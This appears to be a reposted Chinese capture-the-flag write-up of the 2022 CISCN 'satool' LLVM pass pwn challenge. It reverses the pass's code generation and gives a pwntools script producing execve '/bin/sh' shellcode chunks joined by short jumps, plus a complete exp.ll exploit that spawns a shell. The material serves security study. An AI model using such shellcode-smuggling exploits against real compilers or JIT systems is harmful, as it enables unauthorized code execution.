其他分享
首页 > 其他分享> > 2022CISCN-satool

2022CISCN-satool

作者:互联网

2022CISCN-satool

打国赛的时候自己还并不了解LLVM PASS pwn,前几天正好学习了一下LLVM PASS pwn,于是就顺便来复现一下这道题目。

首先找到二进制文件的重写函数的主体并对其进行分析。

开始就是限制了函数的参数和基本块的个数必须为1

然后是先把一块区域变成可写可执行,并通过handle函数对IR进行处理。再把这一块区域变成可读可执行,并通过callCodeIR进行处理。我们先去看handle部分的代码。

handle里首先获取了第一个操作数,然后判断是否是一个常数,如果是则进入if语句当中。这个if里的代码会先获取这个常数的数值,然后用writeMovImm64对其进行处理。其代码如下:

可以看到这个函数的作用是向某个地址写入10个字节。可能是\x48\xBB....也可能是\x48\xB8....。我们可以用python去生成一下,发现得到的是mov rax, xxxx或者mov rbx, xxx。我们回到上面一层。结合起来看就是写入mov rax, Operand。接着会用writeRet对其进行处理。其代码如下:

可以看到这个函数的作用是写\xC3,也就是ret所对应的字节码。返回上一层,我们可以直到这个if里语句的作用就是写入mov rax, Operand; ret;。接着我们继续向下看:

下面接着的else if的主体和上面类似,只是判断是第一个操作数是否为一个参数,如果是则进入else if中。接着我们看else里的代码:

这里首先写入mov rax, 0,并且实例化了两个TLS Stack对象。接着会有一个while循环:

如果*(this+5)<v30则进入循环,而这里的v30 = *((_QWORD *)this + 4) + 0xFF0LL,也就是开始写入字节的地方+0xFF0处。如果v26栈的大小==0,则写入一个ret并且退出循环。

接着从栈顶弹出一个值,并且将其转化为二元运算符,如果不能转化为二元运算符,那么就会报错并且退出。

由下面这个if语句的判断我们可以看出,这个二元运算符应该是加号或者减号,如果不是则会退出。

接着获取第一个操作数和第二个操作数,这里可以判断出对应二元运算符的两个操作数。判断第一个操作数是否为常数并且是否为+1(-1),如果是则调用writeInc,其代码如下:

其作用是向里面写入三个字节,对应的汇编代码是inc rax或者dec rax。如果为常数,但不是+1(-1),那么就会调用writeMovImm64writeOpReg,其中writeOpReg的代码如下:

其作用是写入三个字节,对应的汇编代码是add rax, rbx或者sub rax, rbx。如果是参数,那么就会使得*((_DWORD *)this + 12) += v22,否则就会进入else,也就是将v20和v22push进栈。接着是对v21的判断,与上述类似。

然后我们返回上一层继续分析。

改变权限后我们进入callCode

这里就是把this[4]当作为一个函数去执行。看到这里我们想能否通过handle函数去写入shellcode,然后再通过错位再调用callCode去执行我们的shellcode。但是要注意的是我们的shellcode不连续,最多一次写入8字节,并且其中还要有shellcode使得其可以连续执行,于是我们就想到了短跳转指令

我们写脚本来得到我们所需要的shellcode

from pwn import *
context.arch='amd64'

s = b'\x90\x90\x90\x90\x90\x90\xEB\xEB'

print(disasm(s))
print(u64(s))

shellcode = [
	"mov eax, 0x68732f",
	"shl rax, 0x20",
	"add rax, 0x6e69622f",
	"push rax",
	"mov rdi, rsp",
	"xor rsi, rsi",
	"xor rdx, rdx",
	"push 59",
	"pop rax",
	"syscall"
	]

for code in shellcode:
	bytes = asm(code).ljust(6, b'\x90') + b'\xEB\xEB'  # \xEB\xEB: jmp short ptr -19
	print(u64(bytes))

再通过调试得到我们的exp.ll

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @test(i64 %0) #0 {
  %2 = add nsw i64 %0, 16999840169015152640
  %3 = add nsw i64 %2, 1
  %4 = add nsw i64 %3, 1
  %5 = add nsw i64 %4, 256
  %6 = add nsw i64 %5, 256
  %7 = add nsw i64 %6, 256
  %8 = add nsw i64 %7, 256
  %9 = add nsw i64 %8, 256
  %10 = add nsw i64 %9, 256
  %11 = add nsw i64 %10, 256
  %12 = add nsw i64 %11, 256
  %13 = add nsw i64 %12, 256
  %14 = add nsw i64 %13, 256
  %15 = add nsw i64 %14, 256
  %16 = add nsw i64 %15, 256
  %17 = add nsw i64 %16, 256
  %18 = add nsw i64 %17, 256
  %19 = add nsw i64 %18, 256
  %20 = add nsw i64 %19, 256
  %21 = add nsw i64 %20, 256
  %22 = add nsw i64 %21, 256
  %23 = add nsw i64 %22, 256
  %24 = add nsw i64 %23, 256
  %25 = add nsw i64 %24, 256
  %26 = add nsw i64 %25, 256
  %27 = add nsw i64 %26, 256
  %28 = add nsw i64 %27, 256
  %29 = add nsw i64 %28, 256
  %30 = add nsw i64 %29, 256
  %31 = add nsw i64 %30, 256
  %32 = add nsw i64 %31, 256
  %33 = add nsw i64 %32, 256
  %34 = add nsw i64 %33, 256
  %35 = add nsw i64 %34, 256
  %36 = add nsw i64 %35, 256
  %37 = add nsw i64 %36, 256
  %38 = add nsw i64 %37, 256
  %39 = add nsw i64 %38, 256
  %40 = add nsw i64 %39, 256
  %41 = add nsw i64 %40, 256
  %42 = add nsw i64 %41, 256
  %43 = add nsw i64 %42, 256
  %44 = add nsw i64 %43, 256
  %45 = add nsw i64 %44, 256
  %46 = add nsw i64 %45, 256
  %47 = add nsw i64 %46, 256
  %48 = add nsw i64 %47, 256
  %49 = add nsw i64 %48, 256
  %50 = add nsw i64 %49, 256
  %51 = add nsw i64 %50, 256
  %52 = add nsw i64 %51, 256
  %53 = add nsw i64 %52, 256
  %54 = add nsw i64 %53, 256
  %55 = add nsw i64 %54, 256
  %56 = add nsw i64 %55, 256
  %57 = add nsw i64 %56, 256
  %58 = add nsw i64 %57, 256
  %59 = add nsw i64 %58, 256
  %60 = add nsw i64 %59, 256
  %61 = add nsw i64 %60, 256
  %62 = add nsw i64 %61, 256
  %63 = add nsw i64 %62, 256
  %64 = add nsw i64 %63, 256
  %65 = add nsw i64 %64, 256
  %66 = add nsw i64 %65, 256
  %67 = add nsw i64 %66, 256
  %68 = add nsw i64 %67, 256
  %69 = add nsw i64 %68, 256
  %70 = add nsw i64 %69, 256
  %71 = add nsw i64 %70, 256
  %72 = add nsw i64 %71, 256
  %73 = add nsw i64 %72, 256
  %74 = add nsw i64 %73, 256
  %75 = add nsw i64 %74, 256
  %76 = add nsw i64 %75, 256
  %77 = add nsw i64 %76, 256
  %78 = add nsw i64 %77, 256
  %79 = add nsw i64 %78, 256
  %80 = add nsw i64 %79, 256
  %81 = add nsw i64 %80, 256
  %82 = add nsw i64 %81, 256
  %83 = add nsw i64 %82, 256
  %84 = add nsw i64 %83, 256
  %85 = add nsw i64 %84, 256
  %86 = add nsw i64 %85, 256
  %87 = add nsw i64 %86, 256
  %88 = add nsw i64 %87, 256
  %89 = add nsw i64 %88, 256
  %90 = add nsw i64 %89, 256
  %91 = add nsw i64 %90, 256
  %92 = add nsw i64 %91, 256
  %93 = add nsw i64 %92, 256
  %94 = add nsw i64 %93, 256
  %95 = add nsw i64 %94, 256
  %96 = add nsw i64 %95, 256
  %97 = add nsw i64 %96, 256
  %98 = add nsw i64 %97, 256
  %99 = add nsw i64 %98, 256
  %100 = add nsw i64 %99, 256
  %101 = add nsw i64 %100, 256
  %102 = add nsw i64 %101, 256
  %103 = add nsw i64 %102, 256
  %104 = add nsw i64 %103, 256
  %105 = add nsw i64 %104, 256
  %106 = add nsw i64 %105, 256
  %107 = add nsw i64 %106, 256
  %108 = add nsw i64 %107, 256
  %109 = add nsw i64 %108, 256
  %110 = add nsw i64 %109, 256
  %111 = add nsw i64 %110, 256
  %112 = add nsw i64 %111, 256
  %113 = add nsw i64 %112, 256
  %114 = add nsw i64 %113, 256
  %115 = add nsw i64 %114, 256
  %116 = add nsw i64 %115, 256
  %117 = add nsw i64 %116, 256
  %118 = add nsw i64 %117, 256
  %119 = add nsw i64 %118, 256
  %120 = add nsw i64 %119, 256
  %121 = add nsw i64 %120, 256
  %122 = add nsw i64 %121, 256
  %123 = add nsw i64 %122, 256
  %124 = add nsw i64 %123, 256
  %125 = add nsw i64 %124, 256
  %126 = add nsw i64 %125, 256
  %127 = add nsw i64 %126, 256
  %128 = add nsw i64 %127, 256
  %129 = add nsw i64 %128, 256
  %130 = add nsw i64 %129, 256
  %131 = add nsw i64 %130, 256
  %132 = add nsw i64 %131, 256
  %133 = add nsw i64 %132, 256
  %134 = add nsw i64 %133, 256
  %135 = add nsw i64 %134, 256
  %136 = add nsw i64 %135, 256
  %137 = add nsw i64 %136, 256
  %138 = add nsw i64 %137, 256
  %139 = add nsw i64 %138, 256
  %140 = add nsw i64 %139, 256
  %141 = add nsw i64 %140, 256
  %142 = add nsw i64 %141, 256
  %143 = add nsw i64 %142, 256
  %144 = add nsw i64 %143, 256
  %145 = add nsw i64 %144, 256
  %146 = add nsw i64 %145, 256
  %147 = add nsw i64 %146, 256
  %148 = add nsw i64 %147, 256
  %149 = add nsw i64 %148, 256
  %150 = add nsw i64 %149, 256
  %151 = add nsw i64 %150, 256
  %152 = add nsw i64 %151, 256
  %153 = add nsw i64 %152, 256
  %154 = add nsw i64 %153, 256
  %155 = add nsw i64 %154, 256
  %156 = add nsw i64 %155, 256
  %157 = add nsw i64 %156, 256
  %158 = add nsw i64 %157, 256
  %159 = add nsw i64 %158, 256
  %160 = add nsw i64 %159, 256
  %161 = add nsw i64 %160, 256
  %162 = add nsw i64 %161, 256
  %163 = add nsw i64 %162, 256
  %164 = add nsw i64 %163, 256
  %165 = add nsw i64 %164, 256
  %166 = add nsw i64 %165, 256
  %167 = add nsw i64 %166, 256
  %168 = add nsw i64 %167, 256
  %169 = add nsw i64 %168, 256
  %170 = add nsw i64 %169, 256
  %171 = add nsw i64 %170, 256
  %172 = add nsw i64 %171, 256
  %173 = add nsw i64 %172, 256
  %174 = add nsw i64 %173, 256
  %175 = add nsw i64 %174, 256
  %176 = add nsw i64 %175, 256
  %177 = add nsw i64 %176, 256
  %178 = add nsw i64 %177, 256
  %179 = add nsw i64 %178, 256
  %180 = add nsw i64 %179, 256
  %181 = add nsw i64 %180, 256
  %182 = add nsw i64 %181, 256
  %183 = add nsw i64 %182, 256
  %184 = add nsw i64 %183, 256
  %185 = add nsw i64 %184, 256
  %186 = add nsw i64 %185, 256
  %187 = add nsw i64 %186, 256
  %188 = add nsw i64 %187, 256
  %189 = add nsw i64 %188, 256
  %190 = add nsw i64 %189, 256
  %191 = add nsw i64 %190, 256
  %192 = add nsw i64 %191, 256
  %193 = add nsw i64 %192, 256
  %194 = add nsw i64 %193, 256
  %195 = add nsw i64 %194, 256
  %196 = add nsw i64 %195, 256
  %197 = add nsw i64 %196, 256
  %198 = add nsw i64 %197, 256
  %199 = add nsw i64 %198, 256
  %200 = add nsw i64 %199, 256
  %201 = add nsw i64 %200, 256
  %202 = add nsw i64 %201, 256
  %203 = add nsw i64 %202, 256
  %204 = add nsw i64 %203, 256
  %205 = add nsw i64 %204, 256
  %206 = add nsw i64 %205, 256
  %207 = add nsw i64 %206, 256
  %208 = add nsw i64 %207, 256
  %209 = add nsw i64 %208, 256
  %210 = add nsw i64 %209, 256
  %211 = add nsw i64 %210, 256
  %212 = add nsw i64 %211, 256
  %213 = add nsw i64 %212, 256
  %214 = add nsw i64 %213, 256
  %215 = add nsw i64 %214, 256
  %216 = add nsw i64 %215, 256
  %217 = add nsw i64 %216, 256
  %218 = add nsw i64 %217, 256
  %219 = add nsw i64 %218, 256
  %220 = add nsw i64 %219, 256
  %221 = add nsw i64 %220, 256
  %222 = add nsw i64 %221, 256
  %223 = add nsw i64 %222, 256
  %224 = add nsw i64 %223, 256
  %225 = add nsw i64 %224, 256
  %226 = add nsw i64 %225, 256
  %227 = add nsw i64 %226, 256
  %228 = add nsw i64 %227, 256
  %229 = add nsw i64 %228, 256
  %230 = add nsw i64 %229, 256
  %231 = add nsw i64 %230, 256
  %232 = add nsw i64 %231, 256
  %233 = add nsw i64 %232, 256
  %234 = add nsw i64 %233, 256
  %235 = add nsw i64 %234, 256
  %236 = add nsw i64 %235, 256
  %237 = add nsw i64 %236, 256
  %238 = add nsw i64 %237, 256
  %239 = add nsw i64 %238, 256
  %240 = add nsw i64 %239, 256
  %241 = add nsw i64 %240, 256
  %242 = add nsw i64 %241, 256
  %243 = add nsw i64 %242, 256
  %244 = add nsw i64 %243, 256
  %245 = add nsw i64 %244, 256
  %246 = add nsw i64 %245, 256
  %247 = add nsw i64 %246, 256
  %248 = add nsw i64 %247, 256
  %249 = add nsw i64 %248, 256
  %250 = add nsw i64 %249, 256
  %251 = add nsw i64 %250, 256
  %252 = add nsw i64 %251, 256
  %253 = add nsw i64 %252, 256
  %254 = add nsw i64 %253, 256
  %255 = add nsw i64 %254, 256
  %256 = add nsw i64 %255, 256
  %257 = add nsw i64 %256, 256
  %258 = add nsw i64 %257, 256
  %259 = add nsw i64 %258, 256
  %260 = add nsw i64 %259, 256
  %261 = add nsw i64 %260, 256
  %262 = add nsw i64 %261, 256
  %263 = add nsw i64 %262, 256
  %264 = add nsw i64 %263, 256
  %265 = add nsw i64 %264, 256
  %266 = add nsw i64 %265, 256
  %267 = add nsw i64 %266, 256
  %268 = add nsw i64 %267, 256
  %269 = add nsw i64 %268, 256
  %270 = add nsw i64 %269, 256
  %271 = add nsw i64 %270, 256
  %272 = add nsw i64 %271, 256
  %273 = add nsw i64 %272, 256
  %274 = add nsw i64 %273, 256
  %275 = add nsw i64 %274, 256
  %276 = add nsw i64 %275, 256
  %277 = add nsw i64 %276, 256
  %278 = add nsw i64 %277, 256
  %279 = add nsw i64 %278, 256
  %280 = add nsw i64 %279, 256
  %281 = add nsw i64 %280, 256
  %282 = add nsw i64 %281, 256
  %283 = add nsw i64 %282, 256
  %284 = add nsw i64 %283, 256
  %285 = add nsw i64 %284, 256
  %286 = add nsw i64 %285, 256
  %287 = add nsw i64 %286, 256
  %288 = add nsw i64 %287, 256
  %289 = add nsw i64 %288, 256
  %290 = add nsw i64 %289, 256
  %291 = add nsw i64 %290, 256
  %292 = add nsw i64 %291, 256
  %293 = add nsw i64 %292, 256
  %294 = add nsw i64 %293, 256
  %295 = add nsw i64 %294, 256
  %296 = add nsw i64 %295, 256
  %297 = add nsw i64 %296, 256
  %298 = add nsw i64 %297, 256
  %299 = add nsw i64 %298, 256
  %300 = add nsw i64 %299, 256
  %301 = add nsw i64 %300, 256
  %302 = add nsw i64 %301, 256
  %303 = add nsw i64 %302, 256
  %304 = add nsw i64 %303, 256
  %305 = add nsw i64 %304, 256
  %306 = add nsw i64 %305, 256
  %307 = add nsw i64 %306, 256
  %308 = add nsw i64 %307, 256
  %309 = add nsw i64 %308, 256
  %310 = add nsw i64 %309, 256
  %311 = add nsw i64 %310, 256
  %312 = add nsw i64 %311, 256
  %313 = add nsw i64 %312, 256
  %314 = add nsw i64 %313, 256
  %315 = add nsw i64 %314, 256
  %316 = add nsw i64 %315, 256
  ret i64 %316
}

define dso_local i64 @test2(i64 %0) #0 {
  %2 = sub nsw i64 %0, 1
  %3 = add nsw i64 %2, 1
  %4 = add nsw i64 %3, 1
  %5 = add nsw i64 %4, 16999840169015152784
  %6 = add nsw i64 %5, 16999839549866848184
  %7 = add nsw i64 %6, 16999840167141359944
  %8 = add nsw i64 %7, 16999802617337939272
  %9 = add nsw i64 %8, 16999840169015152720
  %10 = add nsw i64 %9, 16999840169020852552
  %11 = add nsw i64 %10, 16999840169021813064
  %12 = add nsw i64 %11, 16999840169019453768
  %13 = add nsw i64 %12, 16999840169015130986
  %14 = add nsw i64 %13, 16999840169015152728
  %15 = add nsw i64 %14, 16999840169015117071
  %16 = add nsw i64 %15, 256
  %17 = add nsw i64 %16, 256
  %18 = add nsw i64 %17, 256
  %19 = add nsw i64 %18, 256
  %20 = add nsw i64 %19, 256
  %21 = add nsw i64 %20, 256
  %22 = add nsw i64 %21, 256
  %23 = add nsw i64 %22, 256
  %24 = add nsw i64 %23, 256
  %25 = add nsw i64 %24, 256
  %26 = add nsw i64 %25, 256
  %27 = add nsw i64 %26, 256
  %28 = add nsw i64 %27, 256
  %29 = add nsw i64 %28, 256
  %30 = add nsw i64 %29, 256
  %31 = add nsw i64 %30, 256
  %32 = add nsw i64 %31, 256
  %33 = add nsw i64 %32, 256
  %34 = add nsw i64 %33, 256
  %35 = add nsw i64 %34, 256
  %36 = add nsw i64 %35, 256
  %37 = add nsw i64 %36, 256
  %38 = add nsw i64 %37, 256
  %39 = add nsw i64 %38, 256
  %40 = add nsw i64 %39, 256
  %41 = add nsw i64 %40, 256
  %42 = add nsw i64 %41, 256
  %43 = add nsw i64 %42, 256
  %44 = add nsw i64 %43, 256
  %45 = add nsw i64 %44, 256
  %46 = add nsw i64 %45, 256
  %47 = add nsw i64 %46, 256
  %48 = add nsw i64 %47, 256
  %49 = add nsw i64 %48, 256
  %50 = add nsw i64 %49, 256
  %51 = add nsw i64 %50, 256
  %52 = add nsw i64 %51, 256
  %53 = add nsw i64 %52, 256
  %54 = add nsw i64 %53, 256
  %55 = add nsw i64 %54, 256
  %56 = add nsw i64 %55, 256
  %57 = add nsw i64 %56, 256
  %58 = add nsw i64 %57, 256
  %59 = add nsw i64 %58, 256
  %60 = add nsw i64 %59, 256
  %61 = add nsw i64 %60, 256
  %62 = add nsw i64 %61, 256
  %63 = add nsw i64 %62, 256
  %64 = add nsw i64 %63, 256
  %65 = add nsw i64 %64, 256
  %66 = add nsw i64 %65, 256
  %67 = add nsw i64 %66, 256
  %68 = add nsw i64 %67, 256
  %69 = add nsw i64 %68, 256
  %70 = add nsw i64 %69, 256
  %71 = add nsw i64 %70, 256
  %72 = add nsw i64 %71, 256
  %73 = add nsw i64 %72, 256
  %74 = add nsw i64 %73, 256
  %75 = add nsw i64 %74, 256
  %76 = add nsw i64 %75, 256
  %77 = add nsw i64 %76, 256
  %78 = add nsw i64 %77, 256
  %79 = add nsw i64 %78, 256
  %80 = add nsw i64 %79, 256
  %81 = add nsw i64 %80, 256
  %82 = add nsw i64 %81, 256
  %83 = add nsw i64 %82, 256
  %84 = add nsw i64 %83, 256
  %85 = add nsw i64 %84, 256
  %86 = add nsw i64 %85, 256
  %87 = add nsw i64 %86, 256
  %88 = add nsw i64 %87, 256
  %89 = add nsw i64 %88, 256
  %90 = add nsw i64 %89, 256
  %91 = add nsw i64 %90, 256
  %92 = add nsw i64 %91, 256
  %93 = add nsw i64 %92, 256
  %94 = add nsw i64 %93, 256
  %95 = add nsw i64 %94, 256
  %96 = add nsw i64 %95, 256
  %97 = add nsw i64 %96, 256
  %98 = add nsw i64 %97, 256
  %99 = add nsw i64 %98, 256
  %100 = add nsw i64 %99, 256
  %101 = add nsw i64 %100, 256
  %102 = add nsw i64 %101, 256
  %103 = add nsw i64 %102, 256
  %104 = add nsw i64 %103, 256
  %105 = add nsw i64 %104, 256
  %106 = add nsw i64 %105, 256
  %107 = add nsw i64 %106, 256
  %108 = add nsw i64 %107, 256
  %109 = add nsw i64 %108, 256
  %110 = add nsw i64 %109, 256
  %111 = add nsw i64 %110, 256
  %112 = add nsw i64 %111, 256
  %113 = add nsw i64 %112, 256
  %114 = add nsw i64 %113, 256
  %115 = add nsw i64 %114, 256
  %116 = add nsw i64 %115, 256
  %117 = add nsw i64 %116, 256
  %118 = add nsw i64 %117, 256
  %119 = add nsw i64 %118, 256
  %120 = add nsw i64 %119, 256
  %121 = add nsw i64 %120, 256
  %122 = add nsw i64 %121, 256
  %123 = add nsw i64 %122, 256
  %124 = add nsw i64 %123, 256
  %125 = add nsw i64 %124, 256
  %126 = add nsw i64 %125, 256
  %127 = add nsw i64 %126, 256
  %128 = add nsw i64 %127, 256
  %129 = add nsw i64 %128, 256
  %130 = add nsw i64 %129, 256
  %131 = add nsw i64 %130, 256
  %132 = add nsw i64 %131, 256
  %133 = add nsw i64 %132, 256
  %134 = add nsw i64 %133, 256
  %135 = add nsw i64 %134, 256
  %136 = add nsw i64 %135, 256
  %137 = add nsw i64 %136, 256
  %138 = add nsw i64 %137, 256
  %139 = add nsw i64 %138, 256
  %140 = add nsw i64 %139, 256
  %141 = add nsw i64 %140, 256
  %142 = add nsw i64 %141, 256
  %143 = add nsw i64 %142, 256
  %144 = add nsw i64 %143, 256
  %145 = add nsw i64 %144, 256
  %146 = add nsw i64 %145, 256
  %147 = add nsw i64 %146, 256
  %148 = add nsw i64 %147, 256
  %149 = add nsw i64 %148, 256
  %150 = add nsw i64 %149, 256
  %151 = add nsw i64 %150, 256
  %152 = add nsw i64 %151, 256
  %153 = add nsw i64 %152, 256
  %154 = add nsw i64 %153, 256
  %155 = add nsw i64 %154, 256
  %156 = add nsw i64 %155, 256
  %157 = add nsw i64 %156, 256
  %158 = add nsw i64 %157, 256
  %159 = add nsw i64 %158, 256
  %160 = add nsw i64 %159, 256
  %161 = add nsw i64 %160, 256
  %162 = add nsw i64 %161, 256
  %163 = add nsw i64 %162, 256
  %164 = add nsw i64 %163, 256
  %165 = add nsw i64 %164, 256
  %166 = add nsw i64 %165, 256
  %167 = add nsw i64 %166, 256
  %168 = add nsw i64 %167, 256
  %169 = add nsw i64 %168, 256
  %170 = add nsw i64 %169, 256
  %171 = add nsw i64 %170, 256
  %172 = add nsw i64 %171, 256
  %173 = add nsw i64 %172, 256
  %174 = add nsw i64 %173, 256
  %175 = add nsw i64 %174, 256
  %176 = add nsw i64 %175, 256
  %177 = add nsw i64 %176, 256
  %178 = add nsw i64 %177, 256
  %179 = add nsw i64 %178, 256
  %180 = add nsw i64 %179, 256
  %181 = add nsw i64 %180, 256
  %182 = add nsw i64 %181, 256
  %183 = add nsw i64 %182, 256
  %184 = add nsw i64 %183, 256
  %185 = add nsw i64 %184, 256
  %186 = add nsw i64 %185, 256
  %187 = add nsw i64 %186, 256
  %188 = add nsw i64 %187, 256
  %189 = add nsw i64 %188, 256
  %190 = add nsw i64 %189, 256
  %191 = add nsw i64 %190, 256
  %192 = add nsw i64 %191, 256
  %193 = add nsw i64 %192, 256
  %194 = add nsw i64 %193, 256
  %195 = add nsw i64 %194, 256
  %196 = add nsw i64 %195, 256
  %197 = add nsw i64 %196, 256
  %198 = add nsw i64 %197, 256
  %199 = add nsw i64 %198, 256
  %200 = add nsw i64 %199, 256
  %201 = add nsw i64 %200, 256
  %202 = add nsw i64 %201, 256
  %203 = add nsw i64 %202, 256
  %204 = add nsw i64 %203, 256
  %205 = add nsw i64 %204, 256
  %206 = add nsw i64 %205, 256
  %207 = add nsw i64 %206, 256
  %208 = add nsw i64 %207, 256
  %209 = add nsw i64 %208, 256
  %210 = add nsw i64 %209, 256
  %211 = add nsw i64 %210, 256
  %212 = add nsw i64 %211, 256
  %213 = add nsw i64 %212, 256
  %214 = add nsw i64 %213, 256
  %215 = add nsw i64 %214, 256
  %216 = add nsw i64 %215, 256
  %217 = add nsw i64 %216, 256
  %218 = add nsw i64 %217, 256
  %219 = add nsw i64 %218, 256
  %220 = add nsw i64 %219, 256
  %221 = add nsw i64 %220, 256
  %222 = add nsw i64 %221, 256
  %223 = add nsw i64 %222, 256
  %224 = add nsw i64 %223, 256
  %225 = add nsw i64 %224, 256
  %226 = add nsw i64 %225, 256
  %227 = add nsw i64 %226, 256
  %228 = add nsw i64 %227, 256
  %229 = add nsw i64 %228, 256
  %230 = add nsw i64 %229, 256
  %231 = add nsw i64 %230, 256
  %232 = add nsw i64 %231, 256
  %233 = add nsw i64 %232, 256
  %234 = add nsw i64 %233, 256
  %235 = add nsw i64 %234, 256
  %236 = add nsw i64 %235, 256
  %237 = add nsw i64 %236, 256
  %238 = add nsw i64 %237, 256
  %239 = add nsw i64 %238, 256
  %240 = add nsw i64 %239, 256
  %241 = add nsw i64 %240, 256
  %242 = add nsw i64 %241, 256
  %243 = add nsw i64 %242, 256
  %244 = add nsw i64 %243, 256
  %245 = add nsw i64 %244, 256
  %246 = add nsw i64 %245, 256
  %247 = add nsw i64 %246, 256
  %248 = add nsw i64 %247, 256
  %249 = add nsw i64 %248, 256
  %250 = add nsw i64 %249, 256
  %251 = add nsw i64 %250, 256
  %252 = add nsw i64 %251, 256
  %253 = add nsw i64 %252, 256
  %254 = add nsw i64 %253, 256
  %255 = add nsw i64 %254, 256
  %256 = add nsw i64 %255, 256
  %257 = add nsw i64 %256, 256
  %258 = add nsw i64 %257, 256
  %259 = add nsw i64 %258, 256
  %260 = add nsw i64 %259, 256
  %261 = add nsw i64 %260, 256
  %262 = add nsw i64 %261, 256
  %263 = add nsw i64 %262, 256
  %264 = add nsw i64 %263, 256
  %265 = add nsw i64 %264, 256
  %266 = add nsw i64 %265, 256
  %267 = add nsw i64 %266, 256
  %268 = add nsw i64 %267, 256
  %269 = add nsw i64 %268, 256
  %270 = add nsw i64 %269, 256
  %271 = add nsw i64 %270, 256
  %272 = add nsw i64 %271, 256
  %273 = add nsw i64 %272, 256
  %274 = add nsw i64 %273, 256
  %275 = add nsw i64 %274, 256
  %276 = add nsw i64 %275, 256
  %277 = add nsw i64 %276, 256
  %278 = add nsw i64 %277, 256
  %279 = add nsw i64 %278, 256
  %280 = add nsw i64 %279, 256
  %281 = add nsw i64 %280, 256
  %282 = add nsw i64 %281, 256
  %283 = add nsw i64 %282, 256
  %284 = add nsw i64 %283, 256
  %285 = add nsw i64 %284, 256
  %286 = add nsw i64 %285, 256
  %287 = add nsw i64 %286, 256
  %288 = add nsw i64 %287, 256
  %289 = add nsw i64 %288, 256
  %290 = add nsw i64 %289, 256
  %291 = add nsw i64 %290, 256
  %292 = add nsw i64 %291, 256
  %293 = add nsw i64 %292, 256
  %294 = add nsw i64 %293, 256
  %295 = add nsw i64 %294, 256
  %296 = add nsw i64 %295, 256
  %297 = add nsw i64 %296, 256
  %298 = add nsw i64 %297, 256
  %299 = add nsw i64 %298, 256
  %300 = add nsw i64 %299, 256
  %301 = add nsw i64 %300, 256
  %302 = add nsw i64 %301, 256
  %303 = add nsw i64 %302, 256
  %304 = add nsw i64 %303, 256
  %305 = add nsw i64 %304, 256
  %306 = add nsw i64 %305, 256
  %307 = add nsw i64 %306, 256
  %308 = add nsw i64 %307, 256
  %309 = add nsw i64 %308, 256
  %310 = add nsw i64 %309, 256
  %311 = add nsw i64 %310, 256
  %312 = add nsw i64 %311, 256
  %313 = add nsw i64 %312, 256
  %314 = add nsw i64 %313, 256
  %315 = add nsw i64 %314, 256
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1
  %319 = add nsw i64 %318, 1
  %320 = add nsw i64 %319, 1
  %321 = add nsw i64 %320, 1
  ret i64 %321
}

attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

成功getshell

标签:i64,satool,add,64,2022CISCN,256,rax,nsw
来源: https://www.cnblogs.com/pwnfeifei/p/16576367.html